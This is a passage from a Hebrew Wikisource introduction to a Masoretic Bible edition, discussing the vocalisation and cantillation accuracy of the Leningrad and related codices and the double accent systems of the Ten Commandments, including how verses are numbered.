*דוגמאות רבות של השמטת דגשים (גם כאן טען דותן שמדובר על שריד של מסורת ההגייה הבבלית) ולפעמים הוספתם, וכך גם לגבי מפיק.{{הערה|במיוחד יש לציין את התופעה של דגש בלתי-צפוי באותיות גרוניות, כגון וְנָהָרּ֙ ([[בראשית א/טעמים#א י|בראשית א,י]]), רַּבִּֽים ([[קהלת ז/טעמים#ז כט|קהלת ז,כט]]), הַהּֽוּא ([[קהלת ט/טעמים#ט טו|קהלת ט,טו]]), רַּבָּ֣תִי ([[איכה א/טעמים#א א|איכה א,א]]).}}
*השמטתן של נקודות חטף או הוספתן (לעתים).
*טעויות סופר מובהקות אחרות (רבות). בדוגמאות מהסוג הזה בדרך כלל הוספנו סימן קריאה (!) בתיעוד הנוסח לאחר שהבאנו את נוסח כתי&quot;ל. לעומת זאת אין סימן קריאה בסוגים טיפוסיים של ניקוד חריג בכתי&quot;ל (כגון השמטת דגש).

רשימות שונות של חריגות הניקוד בכתי&quot;ל חוברו במשך הזמן על ידי דותן,{{הערה|במהדורת &quot;עדי&quot; וב-BHL.}} ברויאר,{{הערה|במבואות לכרכי &quot;דעת מקרא&quot; ובנספחים לשלושת מהדורותיו.}} וברשימת ההערות שבתוך [http://tanach.us/Tanach.xml מהדורת וסטמינסטר].{{הערה|אפשר למצוא תיעוד חלקי נוסף באפרט שינויי הנוסחאות במהדורות BHS ועוד יותר ב-BHQ.}} רשימות אלו משלימות אחת את השנייה,{{הערה|חובה להדגיש שאוסף הנתונים המלא והמדויק ביותר נמצא דווקא ברשימותיו של ברויאר, וכל השאר בעצם משלימים אותו. אמנם גם ברשימותיו של ברויאר חסרות דוגמאות שנעלמו מעינו הבוחנת.}} ואיסוף של הנתונים מכולן ביחד מראה באופן ברור שכתי&quot;ל מייצג שיטת ניקוד מובהקת וברורה, אבל הביצוע שלה למעשה אינו מושלם כלל. מבט קל על ההערות במבחר פרקים מתוך [http://tanach.us/Tanach.xml מהדורת וסטמינסטר] מראה שיש לפחות ניקוד חריג אחד ברוב הפרקים בתנ&quot;ך, ובפרקים רבים יש כמה.{{הערה|כדי לתאר את גודל התופעה אפשר להסתמך בגסות על [http://tanach.us/Supplements/Statistics.xml#Chapters הנתונים הסטטיסטיים] של מהדורת וסטמינסר: בתורה יש בה 262 הערות מיוחדות, ורובן מציינות ניקוד חריג בכתי&quot;ל. בתנ&quot;ך כולו יש 1078 הערות מהסוג הזה. ויש לקחת בחשבון שבמהדורת וסטמינסטר דיווחו רק על חלק מהדוגמאות.}}

כמעט בכל המקומות מדובר על ניקוד חריג בכתי&quot;ל בלבד מול שאר כל חבריו, ולכן אין כל בעיה לזהות בכתי&quot;ל את הטעות המובהקת, או את השריד שנשאר בו מתוך מסורת הגייה אחרת. וכך אפשר לקבוע את הנוסח לפי שאר כתבי־היד (ואף להתחשב לעת הצורך בניקוד שבדפוסים המאוחרים שהוא פחות מדויק מכתבי־היד רק במעט),{{הערה|על מידת הדיוק בניקוד המקובל שבדפוסים, ראו ברויאר, א.10-16 (עמ' 37-42). על השיבושים שנגרמו בנוסח המקובל על ידי המדקדקים מתוך שימוש מוטעה במסורה, ראו שם א.18-21 (עמ' 42-45).}} וכך להגיע אל שחזור מהימן לניקוד שהיה בכתר ארם צובה.

במהדורתנו תיעדנו ניקוד חריג בכתי&quot;ל במאות מקומות בעקבות הרשימות הקיימות. בדקנו את הנתונים מחדש בכל מקום על ידי עיון בצילום כתב־היד, ולפעמים הגענו למסקנה שונה. ואף הוספנו על הנתונים הקיימים ברשימות דוגמאות חדשות אחדות. כל הנתונים לגבי ניקוד חריג בכתי&quot;ל מובאים במלואם בתוך תיעוד הנוסח.

'''הנוסח המקובל בדפוסים:''' הנוסח המוכר בדפוסים הרבים של התנ&quot;ך (עד דפוס קורן ועד בכלל) מבוסס בעיקר על מקראות גדולות דפוס ונציה, ובנוסף על התיקונים שנעשו בנוסח זה בחיבורים &quot;אור תורה&quot; ו&quot;מנחת שי&quot; וגם על ידי מדקדקים מאוחרים יותר. נוסח זה משקף היטב את נוסח המסורה ברוב המכריע של התורה, אמנם יש בו כמה עשרות הבדלים משמעותיים מהנוסח המשותף של כתבי־היד הטברנים. רובם הגדול הם עניינים של פתח וקמץ או של צירה וסגול.{{הערה|לרשימה מלאה והסברים מפורטים לסיבת השינויים, ראו ברויאר, א.10-21 (עמ' 37-45).}}

בגלל שהתורה נקראת בציבור במחזור שנתי, וכל שינוי קטן מהנוסח המקובל בולט למי שמכיר היטב את הקריאה, לכן ציינו את השינויים בניקוד המקובל בתוך תיעוד הנוסח.{{הערה|בתוך הערות הנוסח ציינו את הנוסח המקובל בכינוי &quot;דפוסים&quot;.}}

===הערכת הדיוק בנוסח הטעמים בכתי&quot;ל===

קפדנותו ודיוקו של כתי&quot;ל באים לידי ביטוי מובהק בתחום הטעמים עוד יותר מאשר בתחום הניקוד. לגבי הניקוד, כאמור, יש לפחות ניקוד חריג אחד ברוב פרקי התנ&quot;ך ולעתים קרובות אף יותר, ואילו בתחום הטעמים איננו מוצאים טעויות או הטעמה חריגה בפרקים רבים. ורוב הטעויות בטעמים (המעטות ממילא) הן בסימון מקום הטעם או בטעם חסר, כך שניתן לזהות אותן בקלות ולתקנן לפי שיטת הכתר וכתבי־היד הקרובים לו. כך תיאר ייבין את מערכת הטעמים בכתי&quot;ל:{{הערה|נו.3 (עמ' 358).}}

:בטעמי כ&quot;א הספרים דומה הוא ל'''א''' כמעט בכל, הן בהטעמה בכללותה הן בפרטי כלליה. שינויים מ'''א''' בהטעמה בכללותה נדירים מאוד. מצאתי, למשל: ואמרת֣י אליכ֔ם ('''ל''' [[שמואל ב יג/טעמים#יג כח|שמ&quot;ב יג,כח]]; '''אקש1''' בקדמא ואזלא).

:הטעמת המשרתים בטעמי אמ&quot;ת כמעט תמיד כב'''א''' וכנמסר בשם ב&quot;א בחילופים. לפעמים מצויים תיקונים בהטעמת המשרתים, בייחוד מנוסח ב&quot;נ לנוסח ב&quot;א, כגון במשרתי הפזר (נ.6) ועוד.

:המרכא מסומן ב'''ל''' בצורה ברורה פחות מאשר ב'''א'''; משום כך נסיגת טעם לראש תיבה או הטעמת שני משרתים, שהראשון בהם מרכא, בתיבה אחת – מסומנת ב'''ל''' בצורה ברורה פחות מאשר ב'''א''', ולעתים קרובות הברה שבה מרכא ברור ב'''א''', הסימן שבה ב'''ל''' נראה כגעיה ברורה. לפעמים נמחקה ב'''ל''' געיה ונכתב מרכא – מה שמסייע בזיהוי הטעמים. הקפה מן הסוג המתואר מא.6 אינה מצויה ב'''ל''' יותר משב'''א'''.{{הערה|הכוונה לנסיגת טעם לראש תיבה בטעמי אמ&quot;ת, כאשר בחלק מהמקרים מוקפת התיבה לתיבה שאחריה.}}

דיוקם של כל כתבי־היד הקרובים לכתר, וכתי&quot;ל בראשם – כל כך גדול, עד שבכל החריגות המעטות ממילא יש רק כתב־יד אחד חריג השונה מכל שאר חבריו (וכמעט תמיד שונה גם מהנוסח המקובל בדפוסים). ברויאר מצא רק יוצא מן הכלל אחד בכל התורה, שבו יש מחלוקת בין שני כתבי־יד לשנים אחרים:
*במדבר, בהעלֹתך [[במדבר ח/טעמים#ח יח|(ח,יח)]]: [וָאֶקַּ֖ח אֶת־הַלְוִיִּ֑ם תַּ֥חַת כׇּל־בְּכ֖וֹר בִּבְנֵ֥י יִשְׂרָאֵֽל׃]* (ש, ש1 ובדפוסים) / [וָאֶקַּח֙ אֶת־הַלְוִיִּ֔ם תַּ֥חַת כׇּל־בְּכ֖וֹר בִּבְנֵ֥י יִשְׂרָאֵֽל׃] (ל, ב).
גם בבדיקה שלנו של כתי&quot;ל והקלדת וסטמינסטר מול כתבי־יד ומהדורות אחרות, לא מצאנו דוגמה נוספת לכך. ברויאר גם מצא שלושה מקומות בלבד בכל התורה של חריגות בעלות משמעות בכתי&quot;ל, כאשר הוא ניצב לבדו מול שאר כתבי־היד הקרובים לכתר:
#בראשית, וירא [[בראשית כ/טעמים#כ ז|(כ,ז)]]: [וְאִם־אֵֽינְךָ֣ מֵשִׁ֔יב דַּ֚ע כִּי־מ֣וֹת תָּמ֔וּת אַתָּ֖ה וְכׇל־אֲשֶׁר־לָֽךְ׃]* (ש, ש1 ובדפוסים) / [וְאִם־אֵֽינְךָ֣ מֵשִׁ֗יב דַּ֚ע כִּי־מ֣וֹת תָּמ֔וּת אַתָּ֖ה וְכׇל־אֲשֶׁר־לָֽךְ׃] (ל). הטעמת כתי&quot;ל אפשרית, אבל גם ייתכן שמדובר על החלפת זקף קטן ברביע (נקודה אחת במקום שתיים). חשוב לציין שההבדל הכי נפוץ והמשמעותי ביותר בין חריגות ההטעמה המעטות בכתי&quot;ל בתנ&quot;ך, ובתוך מסורת כתבי־היד בכלל (שהיא בדרך כלל אחידה), הוא דווקא השינוי בין נקודה אחת לשתיים, לרביע או לזקף קטן (ראו לדוגמה בהערת הנוסח על [[יהושע א/טעמים#א ז|יהושע א,ז]]).
#בראשית, ויגש [[בראשית מד/טעמים#מד כ|(מד,כ)]]: וְאָחִ֣יו מֵ֔ת וַיִּוָּתֵ֨ר ה֧וּא לְבַדּ֛וֹ לְאִמּ֖וֹ וְאָבִ֥יו אֲהֵבֽוֹ׃]* (ב, ש, ש1 ובדפוסים) / [וְאָחִ֨יו מֵ֜ת וַיִּוָּתֵ֨ר ה֧וּא לְבַדּ֛וֹ לְאִמּ֖וֹ וְאָבִ֥יו אֲהֵבֽוֹ׃] (ל). הטעמה זו מוזרה, ונראה שיש כאן טעות בכתי&quot;ל בהשפעת הטעמים בפסוק אחר הדומה לו [[בראשית מב/טעמים#מב לח|(מב,לח)]].
#דברים, כי־תבוא [[דברים כח/טעמים|(כח,נט)]]: [מַכּ֤וֹת גְּדֹלֹת֙ וְנֶ֣אֱמָנ֔וֹת וׇחֳלָיִ֖ם רָעִ֥ים וְנֶאֱמָנִֽים׃]* (א, ש, ש1) / [מַכּ֤וֹת גְּדֹלֹת֙ וְנֶ֣אֱמָנ֔וֹת וָחֳלָיִ֥ם רָעִ֖ים וְנֶאֱמָנִֽים׃] (ל ובדפוסים). מכיוון שהמסורת המשתקפת בדפוסים תומכת בגירסת כתי&quot;ל, ברור שלא מדובר על סתם טעות סופר אלא על שיטה תחבירית אחרת.

בנוסף לשלוש הדוגמאות הללו מצאנו עוד אחדות במשך ההגהה של כתי&quot;ל בתורה ובשאר המקומות בתנ&quot;ך החסרים בכתר, וכולם מצויינים במקומם בתיעוד הנוסח. בכוונתנו להוסיף אותם לרשימה זו תוך כדי בדיקה מחדש של תבניות הנוסח.

'''כתי&quot;ש:''' ברויאר מצא שגם כתי&quot;ש מדוייק להפליא בנוסח הטעמים בתורה, כמו כתי&quot;ל או אף יותר, וגם בו אין כמעט חריגות בכלל מול המסורת המשותפת הבאה לידי ביטוי בשאר כתבי־היד. במקום אחד בלבד יש טעות סופר ברורה:{{הערה|1=ראו ברויאר, כתר, ב.3 (עמ' 46). ברויאר כתב שם שיש עוד חריג אחד בכתי&quot;ש בפרשת בשלח [[שמות יד/טעמים#יד יג|(שמות יד,יג)]], ולפי מה שכתב כתי&quot;ש=הִֽתְיַצְּב֔וּ בשתי נקודות לזקף קטן (במקום נקודה אחת לרביע בשאר כתבי־היד ובדפוסים). אבל מעיון בצילום כתי&quot;ש ברור לגמרי שיש רק נקודה אחת לרביע. וגם ברויאר עצמו לא ציין את השינוי המשמעותי הזה ברשימתו בדעת מקרא (כרך שמות).}}
*במדבר, במדבר [[במדבר א/טעמים#א כח|(א,כח)]]: [מִבֶּ֨ן עֶשְׂרִ֤ים שָׁנָה֙ וָמַ֔עְלָה]* (ל, ש1 ובדפוסים) / [מִבֶּ֨ן עֶשְׂרִ֤ים שָׁנָ֤ה וָמַ֙עְלָה֙] (ש)

'''הסכמת כתי&quot;ל וכתי&quot;ש:''' דוגמה יחידה זו יוצאת מן הכלל, והיא מוכיחה את הכלל: נוסח כתי&quot;ל וכתי&quot;ש מדוייקים להפליא לגבי נוסח הטעמים בתורה, וכמעט שאין ביניהם שום הבדלים בעלי משמעות בכל התורה כולה. לכן ניתן לקבוע את נוסח הטעמים בתורה בביטחון מלא ע&quot;פ הסכמת שניהם.

כמו שכבר הסברנו [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב|בפרק השני של המבוא]], רכיבים מסויימים בשיטת הטעמים בכתי&quot;ל שונים מנוסח הכתר ו/או ממדיניות העיצוב במהדורתנו; לא מדובר על ספק לגבי עצם קביעת הנוסח אלא על שיטות ידועות מראש. כל שינוי מנוסח כתי&quot;ל בגלל הרכיבים האלה יקבל תיעוד מלא בדפי העריכה של המהדורה. ביניהם:
*[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#מתיגת הזקף|מתיגת הזקף]] (מקומה של המתיגה או עצם קיומה של המתיגה)
*[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#עקביות במקפים|מקף בתיבת משרת]]
*[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#ב. טעם כפול בהברה המוטעמת|פשטא מלעיל וטעם כפול בהברה המוטעמת]]

==מסורת הקוראים בתורה: עשרת הדברות==

===הטעם התחתון והטעם העליון===
[[File:Aleppo Codex, The Ten Commandments in Deuteronomy.tif|thumb|left||250px|צילום של שני עמודים מפרשת &quot;ואתחנן&quot;, כולל עשרת הדברות, מהחלק החסר בכתר ארם צובה. בצילום אפשר לראות את הפסוקים החל מ&quot;גְּדֹלִ֧ים וַעֲצֻמִ֛ים מִמְּךָ֖ מִפָּנֶ֑יךָ&quot; ([[דברים ד לח]]) ועד &quot;אֲשֶׁר֙ יִיטַ֣ב לְךָ֔ וַאֲשֶׁ֥[ר]&quot; ([[דברים ו ג]]).]]
בעשרת הדברות שבספר שמות ([[פרשת יתרו/טעמים|פרשת יתרו]]) ובספר דברים ([[פרשת ואתחנן/טעמים|פרשת ואתחנן]]) אנחנו מוצאים שתי מערכות טעמים הכתובות ביחד בתוך רצף הפסוקים. כך מופיע בכתבי־היד בכל התקופות מאז בעלי המסורה, וכך היה מקובל גם בדפוסים עד הדור האחרון. את שתי המערכות כבר נהוג לכנות בשמות &quot;הטעם התחתון&quot; ו&quot;הטעם העליון&quot;:
*'''הטעם התחתון''' מבוסס על חלוקה של עשרת הדברות לפי מתכונת של פסוקים באורך רגיל, ובו יש לפעמים כמה פסוקים בתוך דיבר אחד ארוך, או לחלופין כמה דברות קצרים בתוך פסוק אחד. גם הטעמתם של הפסוקים היא בהתאם למתכונת זו של פסוקים באורך רגיל. בטעם התחתון שבכתבי־היד יש סה&quot;כ 12 פסוקים.
*'''הטעם העליון''' מבוסס על חלוקה לעשרה דברות, כאשר כל דיבר הוא &quot;פסוק&quot; אחד בדיוק, ולכן אנחנו מוצאים שבטעם העליון בכתבי־היד יש עשרה פסוקים בדיוק כמספר הדברות. אמנם חלק מה&quot;פסוקים&quot; האלה ארוכים בהרבה מפסוק רגיל (לדברות הארוכים), וחלק מהם קצרים בהרבה מפסוק רגיל (לדברות הקצרים). ואף הטעמתם של ה&quot;פסוקים&quot; החריגים היא בהתאם לאורכם החריג.

בהטעמה הכפולה שבכתבי־היד יש ניסיון כללי להקפיד על כך שאם וכאשר יש שני טעמים שונים הבאים זה אחר זה באות אחת (אחד לטעם התחתון ואחד לטעם העליון), שהטעם התחתון יהיה כתוב ראשון והטעם העליון אחריו.{{הערה|בכתי&quot;ש מכונה הטעם התחתון &quot;טעמא קדמא&quot;, ובו יש ציון מיוחד ועקבי בהערות המסורה הקטנה ל&quot;טעמא קדמא&quot; בראש כל פסוק בחמשת הדיברות הראשונים (כי רק בהם יש יותר מפסוק אחד בתוך &quot;דיבר&quot; אחד ולא בחמשת האחרונים), הן בשמות והן בדברים. ראו ברויאר, כתר, ב.10 (עמ' 59).}} הכלל הזה ברור ומובהק למרות מעידות אחדות של כתב־יד אחד מול שאר כתבי־היד הקרובים לכתר.{{הערה|אותן מעידות מתועדות בדפי העריכה של הפרקים הרלוונטיים ([[שמות כ/טעמים|שמות כ']] ו[[דברים ה/טעמים|דברים ה']]). להצגה בהירה של הנתונים המלאים והסקת המסקנה מהם, ראו ברויאר, כתר, ב.18 (עמ' 58-59).}}

הטעם הראשון שהוא &quot;הטעם התחתון&quot;, המחלק כאמור את המקרא לפי מתכונת של פסוקים רגילים אף בעשרת הדברות, משקף את מסורת קריאתם בהטעמה של חכמי המקרא בטבריה. ואילו הטעם השני שהוא &quot;הטעם העליון&quot;, משקף את מסורת הקריאה הבבלית, המגדירה את עשרת הדברות לפי '''המסורת המדרשית שהייתה בידם'''. על דרשתו של רבי שמלאי המובאת בגמרא {{מקור|מכות כד א|מכות כ&quot;ד ע&quot;א}} נאמר בתלמוד הבבלי:
:'''&quot;אנכי&quot; ו&quot;לא יהיה לך&quot; מפי הגבורה שמענום.'''
לפי מסורת זו יוצא שהדיבר הראשון מתחיל ב&quot;אנכי&quot; ואילו הדיבר השני מתחיל ב&quot;לא יהיה לך&quot;, ואכן כך הוא בטעם העליון שבכתבי־היד. ולכן '''הדיבר הראשון''' בטעם העליון (שאינו &quot;פסוק&quot; במתכונת הרגילה) הוא באמירה הישירה והחיובית: &quot;אָֽנֹכִ֖י יְהֹוָ֣ה אֱלֹהֶ֑יךָ אֲשֶׁ֧ר הוֹצֵאתִ֛יךָ מֵאֶ֥רֶץ מִצְרַ֖יִם מִבֵּ֥ית עֲבָדִֽים׃&quot;. ואילו '''הדיבר השני''' כולל את כל האמירות של &quot;לאו&quot; ביחד: &quot;לֹ֣א יִהְיֶֽה־לְךָ֩ אֱלֹהִ֨ים אֲחֵרִ֜ים עַל־פָּנַ֗י, לֹ֣א תַֽעֲשֶׂה־לְךָ֣ פֶ֣סֶל ׀ וְכׇל־תְּמוּנָ֡ה... לֹֽא־תִשְׁתַּחֲוֶ֣ה לָהֶם֮ וְלֹ֣א תָעׇבְדֵם֒...לְאֹהֲבַ֖י וּלְשֹׁמְרֵ֥י מִצְוֺתָֽי׃&quot;. ברור שגם דיבר ארוך זה אינו &quot;פסוק&quot; אחד לפי המתכונת הרגילה.

יש לשים לב שמסורת זו לחלוקתם של שני הדברות הראשונים לא הייתה נחלתם של חכמי בבל בלבד, כי היא עולה באופן ברור גם מהתרגום הירושלמי המדרשי (&quot;יונתן&quot;), המגדיר במפורש את גבולותיהם של שני הדברות הראשונים: &quot;אנכי ה' אלהיך&quot; הוא &quot;דבירא קדמאה&quot;, ואילו &quot;לא תעשה לך&quot; הוא &quot;דבירא תנינא&quot;.{{הערה|גם בחלוקת הפסוקים המשתקפת בתרגום אונקלוס לפי כתבי־היד התימנים, נקראים עשרת הדברות כך: מקרא ותרגום לכל פסוק לפי הטעם העליון דווקא.}} מסורת זו של קריאה הייתה קיימת אם כן לא רק בבבל אלא גם גם בארץ ישראל. לכן בכתיבת &quot;הטעם העליון&quot;, נתנו חכמי המסורה ביטוי למסורת שהייתה גם במקומם אע&quot;פ שלא זו הייתה מסורת הקריאה וההטעמה המקובלת בידיהם.

בניגוד לחלוקה זו, בטעם התחתון הפסוק הראשון הוא כך: &quot;אָֽנֹכִי֙ יְהֹוָ֣ה אֱלֹהֶ֔יךָ אֲשֶׁ֧ר הוֹצֵאתִ֛יךָ מֵאֶ֥רֶץ מִצְרַ֖יִם מִבֵּ֣ית עֲבָדִ֑ים לֹֽא־יִהְיֶ֥ה לְךָ֛ אֱלֹהִ֥ים אֲחֵרִ֖ים עַל־פָּנָֽי׃&quot;, כאשר שני חלקי הפסוק הם בדרך הניגוד במישור של הנאמנות האישית כלפי ה'. ואילו שאר העניין מבטא את האיסורים המעשיים ואת האזהרות הנובעים מתוך אותה נאמנות (והם מהווים שלושה פסוקים נוספים במתכונת הרגילה). חלוקה זו של הפסוקים קרובה יותר לפשוטו של מקרא.

חכמי המקרא הטברנים שילבו, אם כן, את מסורת הקריאה המקומית שלהם ביחד עם מסורת קריאה נוספת, כל אחת לפי הטעמתה, וכך נוצרה על ידם מערכת ההטעמה הכפולה בעשרת הדברות. שילוב מיוחד זה מתבטא גם ברשימות סכומי הפסוקים בכתבי־היד הטברנים: סכומי הפסוקים לפרשות השבוע בספרים שמות ודברים הם לפי הטעם העליון ומסורת הקריאה הבבלית (החלוקה לפרשות השבוע היא כידוע מנהג בבלי במקורה). ואילו סכומי הפסוקים לספרים שמות ודברים בשלמותם הם לפי הטעם התחתון ומסורת הקריאה של ארץ ישראל.{{הערה|לכן סכום הפסוקים הכולל בספרים שמות ודברים קטן (בשני פסוקים) מאשר הסכום הכולל של הפסוקים בפרשות השבוע. ראו ברויאר, כתר, ב.20 (עמ' 60).}}

===השיבוש שחל בדפוסים===

בדפוסים המוכרים עד לדור האחרון, האמירה &quot;אָֽנֹכִ֖י יְהֹוָ֣ה אֱלֹהֶ֑יךָ אֲשֶׁ֧ר הוֹצֵאתִ֛יךָ מֵאֶ֥רֶץ מִצְרַ֖יִם מִבֵּ֥ית עֲבָדִֽים׃&quot;, שהוא ה'''דיבר''' הראשון בטעם ה'''עליון''' שבכתבי־היד, הפך להיות ה'''פסוק''' הראשון בטעם התחתון, וכן האמירה &quot;לֹֽא־יִהְיֶ֥ה לְךָ֛ אֱלֹהִ֥ים אֲחֵרִ֖ים עַל־פָּנָֽי׃&quot; מהווה פסוק '''שני''' בטעם התחתון. ואילו בטעם העליון כל הפרשה כולה (מ&quot;אָֽנֹכִי֙ יְהֹוָ֣ה אֱלֹהֶ֔יךָ&quot; ועד &quot;לְאֹהֲבַ֖י וּלְשֹׁמְרֵ֥י מִצְוֺתָֽי׃&quot;) נקראת כפסוק '''אחד''' ולא שניים! יוצא אם כן שבטעם התחתון שבדפוסים יש סה&quot;כ '''13''' פסוקים ולא רק '''12''' (בגלל חלוקת הפסוק &quot;אנכי... על פני&quot; לשניים). ואילו בטעם העליון שבדפוסים יש רק '''9''' &quot;פסוקים&quot; לעשרת הדברות!

הרב מרדכי ברויאר כבר דן באריכות ובאופן משכנע בהשתלשלות הנוסחים בעשרת הדברות מכתבי־היד ועד לדפוסים האחרונים. פרטי ההסבר שלו אינם מענייננו כאן, והרוצה לדעתם יראה בספרו.{{הערה|ראו ברויאר, כתר, ב.15-22 (עמ' 56-66).}} כדאי להזכיר רק את '''משמעות''' הדברים בטעם העליון שבדפוסים לפי הצעתו: קריאת הפרשה הראשונה כולה (מ&quot;אָֽנֹכִי֙ יְהֹוָ֣ה אֱלֹהֶ֔יךָ...&quot; עד &quot;...וּלְשֹׁמְרֵ֥י מִצְוֺתָֽי׃&quot;), כאילו שהיא מהווה &quot;פסוק&quot; או &quot;דיבר&quot; אחד, באה ללמדנו שהדברות שנאמרו &quot;מפי הגבורה&quot; נחשבים ל&quot;דיבור אחד&quot;.{{הערה|ראו שם עמ' 63 הערה 1 פסוק על דברי החזקוני.}}

===עשרת הדברות במהדורתנו===

'''נספחים של טבלאות להשוואה:''' במהדורתנו הבאנו ברצף הפסוקים את שתי מערכות הטעמים המשולבות ביחד, כנהוג בכתבי־היד ובדפוסים מדורי דורות. אמנם בסוף כל הדפים השייכים לעשרת הדברות (דף הפרק, דף הפרשה, ודף הספר המלא) מופיע נספח מיוחד שיש בו הבחנה בהירה בין הטעם התחתון והטעם העליון ע&quot;י הצגתם זה מול זה בתוך טבלה.{{הערה|מבחינה טכנית, הבסיס לטבלאות המופיעות בנספחים שבכל הדפים הרלוונטיים נמצא בדף '''[[עשרת הדברות בסיס/טעמים]]'''. בגליון הנתונים בגוגל-דוקס, שעליו מבוסס כל הטקסט של המקרא, הנספחים הללו נמצאים בשורה אחת נוספת לאחר הספרים שמות ודברים.}} באותם נספחים יש גם השוואה נוספת בין עשרת הדברות שבספר שמות לבין עשרת הדברות שבספר דברים, כלומר: טבלה אחת להשוואת הטעם התחתון בשני הספרים, וטבלה שנייה להשוואת הטעם העליון בשני הספרים. הקישור בין רצף הפסוקים (שבהם שתי המערכות משולבות ביחד) לבין הנספחים (שבהם מבחינים בין שתי המערכות בעזרת טבלה) מתבצע ע&quot;י לחיצה על הסימן הזה: &quot;'''↓↑'''&quot; (שמופיע מיד בתחילת העשרת הדברות בתוך רצף הפסוקים). לחיצה זו מביאה את הקורא אל הטבלאות הבאות:{{הערה|כל הטבלאות מבוססות על המקור הטכני '''[[עשרת הדברות בסיס/טעמים|כאן]]'''.}}
*'''[[עשרת הדברות/טעמים#עשרת הדברות בספר שמות|עשרת הדברות בספר שמות]]'''
*'''[[עשרת הדברות/טעמים#עשרת הדברות בספר דברים|עשרת הדברות בספר דברים]]'''

'''גירסת כתבי־היד מול הדפוסים:''' לגבי [[#השיבוש שחל בדפוסים|ההבדל בין נוסח כתבי־היד לנוסח הדפוסים]], הגירסה העיקרית במהדורתנו תהיה כמובן נוסח כתבי־היד. נוסח זה בלבד יופיע בתוך רצף הפסוקים (בהטעמה הכפולה). אמנם בנספחים, לאחר טבלאות השוואה המבוססות על נוסח כתבי־היד, יופיעו לתועלת הקורא גם טבלאות המבוססות על נוסח הדפוסים. תהיה שם אף השוואה ישירה בין נוסח כתבי־היד לבין נוסח הדפוסים כדי להבהיר את ההבדלים החשובים ביניהם.

===רשימת הדפים לעשרת הדברות===

{{#קטע:ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב|טבלה לדפים של עשרת הדברות}}

===ציון מספרי הפסוקים בעשרת הדברות===

יש מבוכה רבה בדפוסים של התנ&quot;ך לגבי ציון מספרי הפסוקים בעשרת הדברות. האם לציין מספר פסוק עבור כל פסוק בטעם התחתון? או בטעם העליון? או אולי עבור כל התחלה של פסוק חדש בשניהם כאחד? והמבוכה רבה עוד יותר בגלל [[#השיבוש שחל בדפוסים|השיבוש שחל בדפוסים]]: בכתבי־היד הטברנים יש רק 12 פסוקים בטעם התחתון, ואילו בדפוסים המקובלים יש 13.

ברוב הדפוסים מדפיסים, כאמור [[#הטעם התחתון והטעם העליון|לעיל]], מערכת טעמים כפולה בעשרת הדברות, כלומר הטעם התחתון והטעם העליון ביחד. אבל מספרי הפסוקים שבהם רשומים לפי הפסוקים של הטעם התחתון דווקא, וכך יוצא שיש בהם מספרים ל-'''13''' פסוקים בעשרת הדברות (שמות פרק כ',2-14; דברים פרק ה',6-18). כך מופיע גם בדפוס קורן, שבו הדפיסו בפנים ברצף הטקסט את הטעמים של הטעם התחתון בלבד, והמספרים שבו הם בהתאם לכך (שמות כ,ב-יד; דברים ה,ו-יח).

יש גם דפוסים (כגון לטריס ו-BHS) שבהם נותנים מספר של פסוק חדש לאחר '''כל''' סימן של סוף פסוק, בין אם הוא שייך לטעם התחתון ובין אם הוא שייך לטעם העליון. כלומר: יש בהם מספר עצמאי ל&quot;לא יהיה לך&quot;, וכן מספר עצמאי ל&quot;לא תנאף&quot; ו&quot;לא תגנב&quot; ו&quot;לא תענה&quot;. כך יוצא שיש בהם מספרים ל-'''16''' פסוקים בעשרת הדברות (שמות כ,2-17; דברים ה,6-21).

אבל בנוסח כתבי־היד יש, כאמור [[#הטעם התחתון והטעם העליון|לעיל]], 12 פסוקים בלבד בטעם התחתון, כי המלים &quot;לֹ֣א יִהְיֶֽה־לְךָ֩ אֱלֹהִ֨ים אֲחֵרִ֜ים עַל־פָּנַ֗י&quot; הן סופו של הפסוק הראשון. לכן ברוב המהדורות החדשות יחסית כגון דותן וברויאר ומג&quot;ה, המבוססות באופן ישיר על נוסח כתבי־היד הטברנים, יש מספרים ל-'''12''' פסוקים בלבד בעשרת הדברות (שמות כ,ב-יג; דברים ה,ו-יז). אמנם במקראות גדולות הכתר, שאף הוא מבוסס לגמרי על נוסח כתבי־היד, יש מספרים ל-13 פסוקים בעשרת הדברות (כי גם &quot;לֹ֣א יִהְיֶֽה־לְךָ֩ אֱלֹהִ֨ים אֲחֵרִ֜ים עַל־פָּנַ֗י&quot; מקבל בו מספר של פסוק). נראה שבמקראות גדולות הכתר ויתרו קצת על העקביות (מספר לכל פסוק בטעם התחתון בלבד) כדי לשמור על המספרים מהדפוסים הישנים וכך למנוע בלבול.

המהדורות הדיגיטליות האחרות באינטרנט מבוססות אף הן על נוסח כתבי־היד. במהדורת ממון ממרא יש [http://mechon-mamre.org/c/ct/c0220.htm מספרים ל-12 פסוקים בעשרת הדברות], בהתאם לטעם התחתון שבכתבי־היד ובעקבות מהדורת ברויאר. ואילו ב-WLC יש [http://tanach.us/Tanach.xml?Ex20:1-20:26 מספרים ל-16 פסוקים], כלומר מספר עצמאי לאחר כל סימן של סוף פסוק בכתבי־היד, בטעם התחתון ובטעם העליון כאחד.

מספרי הפסוקים במהודרתנו יהיו בהתאם לטעם התחתון שבכתבי־היד, בדומה למהדורות דותן, ברויאר, וממכון ממרא. לכן בשני הפרקים שבהם נמצאים עשרת הדברות ([[שמות כ/טעמים#חזרה לעשרת הדברות|שמות כ']] ו[[דברים ה/טעמים#חזרה לעשרת הדברות|דברים ה']]), המספרים יהיו שונים מדפוס קורן ומכל הדפוסים הישנים.

===פסוק מעשה ראובן===

[[קובץ:Damascus Codex (Torah) 1Genesis.djvu|thumb|פסוק מעשה ראובן בכתי&quot;ש (ובו ציון ל&quot;טעמא קדמא&quot;)|page=61]]

חוץ מעשרת הדברות, יש עוד פסוק אחד במקרא שבו אנחנו מוצאים מערכת טעמים כפולה. מדובר על הפסוק של מעשה ראובן ב[[פרשת וישלח/טעמים|פרשת וישלח]] ([[בראשית לה כב|בראשית לה,כב]]):{{הערה|סעיף זה מבוסס על ברויאר, כתר, נספח ב: שתי ההטעמות של מעשה ראובן (עמ' 289-292).}}
